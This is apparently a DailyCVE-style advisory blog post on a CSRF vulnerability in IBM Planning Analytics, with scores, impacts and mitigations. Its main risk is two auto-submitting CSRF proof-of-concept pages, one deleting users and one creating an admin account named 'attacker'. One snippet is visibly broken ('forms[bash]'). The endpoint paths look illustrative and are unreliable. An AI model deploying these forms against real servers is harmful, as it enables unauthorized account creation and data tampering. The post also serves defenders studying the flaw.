IBM Planning Analytics, Cross-Site Request Forgery (CSRF), CVE-2026-13365 (High) -DC-Aug2026-1535

By /

Listen to this Post

CVE-2026-13365 is a cross-site request forgery (CSRF) vulnerability affecting IBM Planning Analytics Local versions 2.0.0 through 2.1.22. CSRF is an attack that tricks an authenticated user into executing unintended actions on a web application where they are currently logged in. In this specific case, IBM Planning Analytics does not sufficiently verify whether a request was intentionally provided by the user who sent the request. The web application fails to implement proper anti-CSRF tokens or other validation mechanisms to distinguish between legitimate user requests and forged ones.
An attacker can exploit this by crafting a malicious HTML page or link that, when visited by an authenticated user, triggers unauthorized requests to the Planning Analytics instance. Because the user’s browser automatically includes session cookies with the request, the server treats the forged request as legitimate. The attacker can then perform actions with the victim’s privileges—such as modifying configurations, creating unauthorized accounts, altering data, or performing administrative operations. The vulnerability is remotely exploitable over a network and requires user interaction (the victim must click a link or visit a malicious page). It has a CVSS v3.1 base score of 7.1 (High) according to IBM Corporation, with a vector of AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L. The NIST NVD assessment gives it a score of 6.5 (Medium) with vector AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N. The vulnerability was published on August 13, 2026, and last modified on August 17, 2026. The EPSS score is 0.11%, indicating a relatively low probability of exploitation in the next 30 days.

DailyCVE Form:

Platform: IBM Planning Analytics
Version: 2.0.0 – 2.1.22
Vulnerability: Cross-Site Request Forgery
Severity: High (7.1 CVSS)
Date: August 13, 2026

Prediction: September 2026

What Undercode Say:

Analytics:

  • CVSS v3.1 Base Score: 7.1 (High) – IBM Corporation
  • CVSS v3.1 Base Score: 6.5 (Medium) – NIST NVD
  • EPSS Score: 0.11% (probability of exploitation in next 30 days)
  • CWE-352: Cross-Site Request Forgery (CSRF)
  • Affected: IBM Planning Analytics Local 2.0.0 through 2.1.22
  • Remote Exploit: Yes 
    Check current IBM Planning Analytics version
cat /opt/ibm/planning_analytics/version.txt
Verify if anti-CSRF tokens are enabled (check configuration files)
grep -r "csrf" /opt/ibm/planning_analytics/conf/
Check for known vulnerable endpoints (example)
curl -X GET http://localhost:9080/planning_analytics/api/v1/users -H "Cookie: JSESSIONID=..."
Simulate a CSRF attack (educational purposes only)
Craft a malicious HTML form that submits to a vulnerable endpoint
cat > csrf_poc.html << EOF
<html>
<body></li>
</ul>

<form action="http://target-ip:9080/planning_analytics/api/v1/admin/deleteUser" method="POST">
<input type="hidden" name="userId" value="admin">
<input type="submit" value="Click here">
</form>

<script>document.forms[bash].submit();</script>
</body>
</html>
EOF
Check for CSRF token presence in requests
curl -X POST http://localhost:9080/planning_analytics/api/v1/settings -d "key=value" -v

    Exploit: (Educational Purposes!)

    An attacker can exploit CVE-2026-13365 by crafting a malicious web page that submits unauthorized requests to the IBM Planning Analytics instance. The victim must be authenticated to the Planning Analytics web interface. The attacker sends a link to the malicious page (e.g., via email or phishing). When the victim clicks the link, the forged request is executed with the victim’s session, allowing the attacker to perform actions such as modifying user privileges, changing configurations, or deleting data.

    <!-- CSRF Proof of Concept for CVE-2026-13365 -->
<html>
<body>

<h3>CSRF Exploit - CVE-2026-13365</h3>

<form id="csrfForm" action="http://target-ip:9080/planning_analytics/api/v1/admin/addUser" method="POST">
<input type="hidden" name="username" value="attacker">
<input type="hidden" name="password" value="pwned">
<input type="hidden" name="role" value="admin">
</form>

<script>
// Auto-submit the form when page loads
document.getElementById('csrfForm').submit();
</script>

</body>
</html>

    Protection:

    • Apply the latest security updates from IBM for Planning Analytics.
    • Implement anti-CSRF tokens (synchronizer tokens) in all web applications.
    • Validate all user inputs and actions on the server side.
    • Use SameSite cookies (Set-Cookie: SameSite=Strict or Lax) to prevent cross-origin requests.
    • Require re-authentication or CAPTCHA for sensitive actions.
    • Monitor logs for unusual or unauthorized administrative actions.

    Impact:

    • An attacker can execute malicious and unauthorized actions on behalf of an authenticated user.
    • Unauthorized modification of system configurations and user data.
    • Potential privilege escalation if administrative actions are forged.
    • Partial loss of integrity and availability (I:H/A:L).
    • Remote exploitation over the network with low attack complexity.
    • No confidentiality impact (C:N) as the attack does not directly expose data.

    🎯Let’s Practice Exploiting & Learn Patching For Free:

    🎓 Live Courses & Certifications:

    Join Undercode Academy for Verified Certifications

    🚀 Request a Custom Project:

    Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
    [email protected]
    💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

    Sources:

    Reported By: nvd.nist.gov
    Extra Source Hub:
    Undercode

    🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

    💬 Whatsapp | 💬 Telegram

    📢 Follow DailyCVE & Stay Tuned:

    𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top